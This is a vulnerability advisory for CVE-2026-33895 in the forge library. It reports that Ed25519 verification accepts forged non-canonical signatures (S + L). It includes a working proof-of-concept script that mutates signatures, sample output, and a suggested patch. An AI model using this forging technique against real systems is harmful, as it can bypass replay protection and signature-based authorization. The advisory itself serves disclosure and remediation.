CVE-2026-33895

Description

## Summary Ed25519 signature verification accepts forged non-canonical signatures where the scalar S is not reduced modulo the group order (`S >= L`). A valid signature and its `S + L` variant both verify in forge, while Node.js `crypto.verify` (OpenSSL-backed) rejects the `S + L` variant, [as defined by the specification](https://datatracker.ietf.org/doc/html/rfc8032#section-8.4). This class of signature malleability has been exploited in practice to bypass authentication and authorization logic (see [CVE-2026-25793](https://nvd.nist.gov/vuln/detail/CVE-2026-25793), [CVE-2022-35961](https://nvd.nist.gov/vuln/detail/CVE-2022-35961)). Applications relying on signature uniqueness (i.e., dedup by signature bytes, replay tracking, signed-object canonicalization checks) may be bypassed. ## Impacted Deployments **Tested commit:** `8e1d527fe8ec2670499068db783172d4fb9012e5` **Affected versions:** tested on v1.3.3 (latest release) and all versions since Ed25519 was implemented. **Configuration assumptions:** - Default forge Ed25519 verify API path (`ed25519.verify(...)`). ## Root Cause In `lib/ed25519.js`, `crypto_sign_open(...)` uses the signature's last 32 bytes (`S`) directly in scalar multiplication: ```javascript scalarbase(q, sm.subarray(32)); ``` There is no prior check enforcing `S < L` (Ed25519 group order). As a result, equivalent scalar classes can pass verification, including a modified signature where `S := S + L (mod 2^256)` when that value remains non-canonical. The PoC demonstrates this by mutating only the S half of a valid 64-byte signature. ## Reproduction Steps - Use Node.js (tested with `v24.9.0`) and clone `digitalbazaar/forge` at commit `8e1d527fe8ec2670499068db783172d4fb9012e5`. - Place and run the PoC script (`poc.js`) with `node poc.js` in the same level as the `forge` folder. - The script generates an Ed25519 keypair via forge, signs a fixed message, mutates the signature by adding Ed25519 order L to S (bytes 32..63), and verifies both original and tweaked signatures with forge and Node/OpenSSL (`crypto.verify`). - Confirm output includes: ```json { "forge": { "original_valid": true, "tweaked_valid": true }, "crypto": { "original_valid": true, "tweaked_valid": false } } ``` ## Proof of Concept **Overview:** - Demonstrates a valid control signature and a forged (S + L) signature in one run. - Uses Node/OpenSSL as a differential verification baseline. - Observed output on tested commit: ```text { "forge": { "original_valid": true, "tweaked_valid": true }, "crypto": { "original_valid": true, "tweaked_valid": false } } ``` <details><summary>poc.js</summary> ```javascript #!/usr/bin/env node 'use strict'; const path = require('path'); const crypto = require('crypto'); const forge = require('./forge'); const ed = forge.ed25519; const MESSAGE = Buffer.from('dderpym is the coolest man alive!'); // Ed25519 group order L encoded as 32 bytes, little-endian (RFC 8032). const ED25519_ORDER_L = Buffer.from([ 0xed, 0xd3, 0xf5, 0x5c, 0x1a, 0x63, 0x12, 0x58, 0xd6, 0x9c, 0xf7, 0xa2, 0xde, 0xf9, 0xde, 0x14, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, ]); // For Ed25519 signatures, s is the last 32 bytes of the 64-byte signature. // This returns a new signature with s := s + L (mod 2^256), plus the carry. function addLToS(signature) { if (!Buffer.isBuffer(signature) || signature.length !== 64) { throw new Error('signature must be a 64-byte Buffer'); } const out = Buffer.from(signature); let carry = 0; for (let i = 0; i < 32; i++) { const idx = 32 + i; // s starts at byte 32 in the 64-byte signature. const sum = out[idx] + ED25519_ORDER_L[i] + carry; out[idx] = sum & 0xff; carry = sum >> 8; } return { sig: out, carry }; } function toSpkiPem(publicKeyBytes) { if (publicKeyBytes.length !== 32) { throw new Error('publicKeyBytes must be 32 bytes'); } // Builds an ASN.1 SubjectPublicKeyInfo for Ed25519 (RFC 8410) and returns PEM. const oidEd25519 = Buffer.from([0x06, 0x03, 0x2b, 0x65, 0x70]); const algId = Buffer.concat([Buffer.from([0x30, 0x05]), oidEd25519]); const bitString = Buffer.concat([Buffer.from([0x03, 0x21, 0x00]), publicKeyBytes]); const spki = Buffer.concat([Buffer.from([0x30, 0x2a]), algId, bitString]); const b64 = spki.toString('base64').match(/.{1,64}/g).join('\n'); return `-----BEGIN PUBLIC KEY-----\n${b64}\n-----END PUBLIC KEY-----\n`; } function verifyWithCrypto(publicKey, message, signature) { try { const keyObject = crypto.createPublicKey(toSpkiPem(publicKey)); const ok = crypto.verify(null, message, keyObject, signature); return { ok }; } catch (error) { return { ok: false, error: error.message }; } } function toResult(label, original, tweaked) { return { [label]: { original_valid: original.ok, tweaked_valid: tweaked.ok, }, }; } function main() { const kp = ed.generateKeyPair(); const sig = ed.sign({ message: MESSAGE, privateKey: kp.privateKey }); const ok = ed.verify({ message: MESSAGE, signature: sig, publicKey: kp.publicKey }); const tweaked = addLToS(sig); const okTweaked = ed.verify({ message: MESSAGE, signature: tweaked.sig, publicKey: kp.publicKey, }); const cryptoOriginal = verifyWithCrypto(kp.publicKey, MESSAGE, sig); const cryptoTweaked = verifyWithCrypto(kp.publicKey, MESSAGE, tweaked.sig); const result = { ...toResult('forge', { ok }, { ok: okTweaked }), ...toResult('crypto', cryptoOriginal, cryptoTweaked), }; console.log(JSON.stringify(result, null, 2)); } main(); ``` </details> ## Suggested Patch Add strict canonical scalar validation in Ed25519 verify path before scalar multiplication. (Parse S as little-endian 32-byte integer and reject if `S >= L`). Here is a patch we tested on our end to resolve the issue, though please verify it on your end: ```diff index f3e6faa..87eb709 100644 --- a/lib/ed25519.js +++ b/lib/ed25519.js @@ -380,6 +380,10 @@ function crypto_sign_open(m, sm, n, pk) { return -1; } + if(!_isCanonicalSignatureScalar(sm, 32)) { + return -1; + } + for(i = 0; i < n; ++i) { m[i] = sm[i]; } @@ -409,6 +413,21 @@ function crypto_sign_open(m, sm, n, pk) { return mlen; } +function _isCanonicalSignatureScalar(bytes, offset) { + var i; + // Compare little-endian scalar S against group order L and require S < L. + for(i = 31; i >= 0; --i) { + if(bytes[offset + i] < L[i]) { + return true; + } + if(bytes[offset + i] > L[i]) { + return false; + } + } + // S == L is non-canonical. + return false; +} + function modL(r, x) { var carry, i, j, k; for(i = 63; i >= 32; --i) { ``` ## Resources - RFC 8032 (Ed25519): https://datatracker.ietf.org/doc/html/rfc8032#section-8.4 - > Ed25519 and Ed448 signatures are not malleable due to the verification check that decoded S is smaller than l ## Credit This vulnerability was discovered as part of a U.C. Berkeley security research project by: Austin Chu, Sohee Kim, and Corban Villa.

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